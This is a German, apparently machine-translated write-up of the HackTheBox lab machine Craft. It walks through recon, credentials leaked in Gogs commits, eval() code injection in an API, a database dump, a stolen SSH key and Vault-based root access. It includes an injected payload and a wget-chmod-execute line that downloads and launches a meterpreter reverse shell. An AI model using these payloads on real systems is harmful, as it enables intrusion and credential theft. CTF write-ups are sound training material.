In diesem Artikel beginne ich mit der Veröffentlichung von Lösungen, die von der
HackTheBox- Site zur
weiteren Verarbeitung gesendet wurden. Ich hoffe, dass dies zumindest jemandem hilft, sich auf dem Gebiet der Informationssicherheit weiterzuentwickeln. Wir werden untersuchen, wie Sie RCE in der API ausnutzen, in die Gogs-Repositorys eintauchen, mit Datenbanken arbeiten und mit dem geheimen Speicher- und Verwaltungssystem von Vault umgehen können.
Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder einem Host herzustellen, auf dem die für Sie wichtigen Daten verfügbar sind, da Sie in einem privaten Netzwerk mit Personen enden, die sich mit dem Thema Informationssicherheit auskennen :)
Organisatorische InformationenSpeziell für diejenigen, die etwas Neues lernen und sich in einem der Bereiche Informations- und Computersicherheit weiterentwickeln möchten, werde ich folgende Kategorien beschreiben und besprechen:
- PWN;
- Kryptographie (Crypto);
- Netzwerktechnologien (Netzwerk);
- Reverse (Reverse Engineering);
- Steganographie (Stegano);
- Suche und Ausnutzung von WEB-Schwachstellen.
Darüber hinaus werde ich meine Erfahrungen in den Bereichen Computerforensik, Analyse von Malware und Firmware, Angriffe auf drahtlose Netzwerke und lokale Netzwerke, Durchführung von Pentests und Schreiben von Exploits teilen.
Damit Sie sich über neue Artikel, Software und andere Informationen informieren können, habe ich
in Telegram einen
Channel und eine
Gruppe erstellt, um alle Fragen im Bereich ICD
zu diskutieren . Auch ich werde Ihre persönlichen Wünsche, Fragen, Anregungen und Empfehlungen
persönlich berücksichtigen
und auf alle antworten .
Alle Informationen werden nur zu Bildungszwecken bereitgestellt. Der Autor dieses Dokuments übernimmt keine Verantwortung für Schäden, die jemandem durch die Verwendung von Kenntnissen und Methoden entstehen, die er durch das Studium dieses Dokuments erlangt hat.
Intelligenz
Port-Scan
Dieser Computer hat eine IP-Adresse vom 10.10.10.110, die ich zu / etc / hosts hinzufüge.
10.10.10.110 craft.htb
Zunächst scannen wir offene Ports mit nmap und geben die Option -A an, um so viele Informationen wie möglich über die erkannten Dienste zu erhalten.
nmap -A craft.htb

Auf dem Computer sehen wir den SSH-Dienst sowie einen Webserver, der auf Port 443 ausgeführt wird. Wenn Sie zum Webserver gehen, wird uns angeboten, die API zu überprüfen.

Wenn wir versuchen, die API und den git zu betrachten, werden wir über unbekannte Sites informiert.

Daher fügen wir beide Domainnamen zu / etc / hosts hinzu.
10.10.10.110 api.craft.htb
10.10.10.110 gogs.craft.htb
Jetzt öffnen sich beide Links. Die Craft-API ist angeblich eine Schnittstelle für die Arbeit mit der API. Als Erstes müssen wir herausfinden, wie sie funktioniert, und Gogs wird uns dabei helfen.

Einstiegspunkt
In Git ist das erste, was überprüft werden muss, Commits.

Nach dem Durchlaufen der Commits finden wir in 10e3ba4f0a die Authentifizierungsdaten des Benutzers.

Nachdem wir uns bei gogs in Korrespondenz eingeloggt haben, finden wir eine Erwähnung über den Fehler.

Durch Anklicken des Links erfahren wir, wie die Überprüfung in der eval () -Funktion abläuft, was sehr gefährlich ist, da Sie in dieser Funktion Code ausführen können.

Um die Hypothese zu testen, erstellen wir in der lokalen Python-Konsole ein Analogon der Funktion und versuchen, die Funktion "system ()" aus dem Modul "os" aufzurufen.

Der Code wurde erfolgreich ausgeführt! Jetzt müssen Sie einen Exploit schreiben, um wieder eine Verbindung herzustellen. Kopieren Sie in der ersten Phase den Code für die Authentifizierung und den Tokenempfang.
In diesem Code wird unser Ladevorgang an den Parameter "abv" übergeben. Um die RCE-Annahme zu überprüfen, ersetzen Sie die Zeichenfolge '15 .0 'durch "__import __ (' os '). System (' ping your_ip ')".
Wir öffnen tcpdump, geben an, welche Schnittstelle abgehört werden soll, filtern nur ICMP-Pakete und starten den Exploit.


Wir stellen fest, dass wir uns selbst von einem entfernten Host aus anpingen konnten. Jetzt werfen wir Back-Connect. Es kann durch nc gemacht werden, aber lasst uns eine meterpreter-Shell bekommen. Dazu erzeugen Sie mit msfvenom eine Last. Wir geben die Last selbst (reverse_tcp), den lokalen Host und den Port (LHOST, LPORT) an und das Dateiformat ist elf.

Gleichzeitig schalten wir den lokalen Webserver ein. Konfigurieren Sie nun den Listener in msfconsole. Stellen Sie dazu die Parameter wie beim Laden ein.

Wir warten auf eingehende Verbindungen, jetzt müssen wir die Last auf den Host laden und starten.
brew_dict['abv'] = 'wget http://10.10.14.199/shell.bin ; chmod +x shell.bin ; ./shell.bin'
Im Metasplit-Fenster sehen wir eine eingehende Verbindung.

USER
Lassen Sie uns die Shell starten und sehen, unter wem wir arbeiten.

Nach dem Fazit des Terminals können wir davon ausgehen, dass wir uns im Docker-Container befinden. Schauen Sie sich den Gastgeber an.

Es gibt eine ausführbare Datei dbtest.py. Du solltest es sehen.

Das Programm stellt eine Verbindung zur Datenbank her und führt den Befehl mit anschließender Ausgabe aus. Schauen wir uns die Datenbank an. Dazu habe ich die interaktive Python-Konsole auf dem Host gestartet und den gesamten Code in sie kopiert, bevor der Befehl ausgeführt wurde.

Nun werden wir Tabellen anfordern.

Als Ergebnis haben wir 2 Datensätze zurückgegeben. Da cursor.fetchone () einen Eintrag ausgibt, werden wir zwei solche Ausgaben machen.

Also haben wir 2 Tische. Interessanter ist Benutzer. Wir zeigen alle Daten aus dieser Tabelle an.

Und es gibt 3 Einträge.

Und wir bekommen Benutzerkredite. Nachdem wir sie auf ssh ausprobiert haben und gescheitert sind, versuchen wir, uns auf git einzulassen. Und es stellt sich heraus, als Gilfoyle einzuloggen. Und er hat ein geschlossenes Depot.


Das .ssh-Verzeichnis ist sehr interessant. Es gibt zwei Schlüssel, und wir holen den privaten ab.

Wir versuchen, über ssh eine Verbindung mit diesem Schlüssel herzustellen.

Wurzel
Das erste, was man sich im Benutzerverzeichnis ansehen muss.

Wir finden ein Zeichen aus dem Tresor.

Nachdem ich mich mit
Vault befasst habe , möchte ich sagen, dass es sich um ein Speicher- und Verwaltungssystem für Geheimnisse handelt, das Daten im Schlüssel- / Wertformat enthält, auf die über ein Token zugegriffen wird. Überprüfen Sie, ob der Speicher eingerichtet ist.

Werfen wir
einen Blick auf die Liste der Geheimnisse .

Wir sehen also, dass der
Zugriff auf ssh konfiguriert ist .

Jetzt geben wir das Einmalpasswort ein und sind als root im System.

Sie können sich uns
per Telegramm anschließen . Bauen wir eine Community auf, in der es Menschen geben wird, die sich in vielen Bereichen der IT auskennen. Dann können wir uns gegenseitig in allen Fragen der IT- und Informationssicherheit helfen.